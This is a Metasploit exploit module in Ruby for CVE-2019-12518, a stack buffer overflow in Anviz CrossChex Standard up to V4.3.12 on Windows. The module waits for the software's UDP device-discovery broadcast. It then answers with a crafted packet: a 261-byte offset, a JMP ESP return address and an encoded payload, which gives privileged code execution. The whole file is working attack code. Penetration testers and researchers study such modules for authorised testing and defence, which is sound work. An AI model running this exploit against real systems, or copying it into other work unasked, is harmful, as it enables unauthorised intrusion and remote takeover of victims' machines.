##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking
  PACKET_LEN = 10

  include Msf::Exploit::Remote::Udp

  def initialize(info = {})
    super(update_info(info,
      'Name'        => 'Anviz CrossChex Buffer Overflow',
      'Description'	=> %q{
        Waits for broadcasts from Ainz CrossChex looking for new devices, and returns a custom broadcast,
        triggering a stack buffer overflow.
      },
      'Author'	  	=>
        [
            'Luis Catarino <lcatarino@protonmail.com>',  # original discovery/exploit
            'Pedro Rodrigues <pedrosousarodrigues@protonmail.com>',   # original discovery/exploit
            'agalway-r7',  # Module creation
            'adfoster-r7' # Module creation
        ],
      'License'		  => MSF_LICENSE,
      'References'	=>
        [
            ['CVE', '2019-12518'],
            ['URL', 'https://www.0x90.zone/multiple/reverse/2019/11/28/Anviz-pwn.html'],
            ['EDB', '47734']
        ],
      'Payload'        =>
        {
            'Space'    => 8947,
            'DisableNops' => true
        },
      'Arch' => ARCH_X86,
      'EncoderType' => Msf::Encoder::Type::Raw,
      'Privileged'	=> true,
      'Platform' => 'win',
      'DisclosureDate' => '2019-11-28',
      'Targets'        =>
          [
            [
              'Crosschex Standard x86 <= V4.3.12',
              {
                  'Offset' => 261, # Overwrites memory to allow EIP to be overwritten
                  'Ret' => "\x07\x18\x42\x00", # Overwrites EIP with address of 'JMP ESP' assembly command found in CrossChex data
                  'Shift' => 4 # Positions payload to be written at beginning of ESP
              }
            ]
          ],
      'DefaultTarget'  => 0
      ))
    deregister_udp_options
    register_options(
        [
            Opt::CPORT(5050, true, 'Port used to listen for CrossChex Broadcast.'),
            Opt::CHOST("0.0.0.0", true, 'IP address that UDP Socket listens for CrossChex broadcast on. \'0.0.0.0\' is needed to receive broadcasts.'),
            OptInt.new('TIMEOUT', [true, 'Time in seconds to wait for a CrossChex broadcast. 0 or less waits indefinitely.', 100])
        ])
  end

  def exploit
    connect_udp

    res, host, port = udp_sock.recvfrom(PACKET_LEN, datastore["TIMEOUT"].to_i > 0 ? (datastore["TIMEOUT"].to_i) : (nil))
    if res.empty?
      fail_with(Failure::TimeoutExpired, "Module timed out waiting for CrossChex broadcast")
    end

    print_status "CrossChex broadcast received, sending payload in response"
    sploit = rand_text_english(target['Offset'])
    sploit << target.ret # Overwrites EIP with address of 'JMP ESP' assembly command found in CrossChex data
    sploit << rand_text_english(target['Shift']) # Positions payload to be written at beginning of ESP
    sploit << payload.encoded

    udp_sock.sendto(sploit, host, port)
    print_status "Payload sent"
    end
end